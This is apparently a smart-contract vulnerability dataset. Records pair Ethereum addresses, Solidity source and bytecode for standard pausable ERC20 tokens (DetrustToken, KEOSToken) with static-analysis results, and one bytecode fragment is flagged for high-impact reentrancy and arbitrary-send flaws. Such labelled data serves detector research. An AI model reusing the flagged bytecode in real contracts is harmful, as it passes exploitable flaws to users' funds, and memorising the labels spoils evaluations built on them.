74683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ac6352c649bb68629c79df6a0d1b24c9ae4b9929e672bf18bedf935f045009a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,870
0x24222a2602b1d83483977c1eb2518e15e58eb907
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract DetrustToken is PausableToken { string public constant name = "Detrust Token"; // solium-disable-line uppercase string public constant symbol = "XDT"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 2 * 1000 * 1000 * 1000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d15780633f4ba83a146103025780635c975abb14610319578063661884631461034857806370a08231146103ad578063715018a6146104045780638456cb591461041b5780638da5cb5b1461043257806395d89b4114610489578063a9059cbb14610519578063d73dd6231461057e578063dd62ed3e146105e3578063f2fde38b1461065a575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d6565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610706565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610710565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610742565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610753565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b50610317610758565b005b34801561032557600080fd5b5061032e610818565b604051808215151515815260200191505060405180910390f35b34801561035457600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082b565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085b565b6040518082815260200191505060405180910390f35b34801561041057600080fd5b506104196108a3565b005b34801561042757600080fd5b506104306109a8565b005b34801561043e57600080fd5b50610447610a69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049557600080fd5b5061049e610a8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104de5780820151818401526020810190506104c3565b50505050905090810190601f16801561050b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052557600080fd5b50610564600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac8565b604051808215151515815260200191505060405180910390f35b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af8565b604051808215151515815260200191505060405180910390f35b3480156105ef57600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b28565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610baf565b005b6040805190810160405280600d81526020017f4465747275737420546f6b656e0000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106f457600080fd5b6106fe8383610d07565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561072e57600080fd5b610739848484610df9565b90509392505050565b601260ff16600a0a63773594000281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b457600080fd5b600360149054906101000a900460ff1615156107cf57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561084957600080fd5b61085383836111b3565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ff57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0457600080fd5b600360149054906101000a900460ff16151515610a2057600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f584454000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610ae657600080fd5b610af08383611444565b905092915050565b6000600360149054906101000a900460ff16151515610b1657600080fd5b610b208383611663565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c4757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e3657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e8357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f0e57600080fd5b610f5f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ff2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110c382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156112c4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611358565b6112d7838261185f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561148157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114ce57600080fd5b61151f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006116f482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561186d57fe5b818303905092915050565b6000818301905082811015151561188b57fe5b809050929150505600a165627a7a72305820e3c9ac253943225b959fdf6df5f53a6328865c6e90c280187921a3a2ae6ede210029
{"success": true, "error": null, "results": {}}
6,871
0xd4ae0807740df6fbaa7a258907132a2ac8d52fbc
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); function () public payable { revert(); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract KEOSToken is StandardToken, PausableToken { string public constant name = "KEOSToken"; // solium-disable-line uppercase string public constant symbol = "KEOS"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 1500000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d15780633f4ba83a146103025780635c975abb14610319578063661884631461034857806370a08231146103ad578063715018a6146104045780638456cb591461041b5780638da5cb5b1461043257806395d89b4114610489578063a9059cbb14610519578063d73dd6231461057e578063dd62ed3e146105e3578063f2fde38b1461065a575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d6565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610706565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610710565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610742565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610753565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b50610317610758565b005b34801561032557600080fd5b5061032e610818565b60405180821515151581526020019150506040518091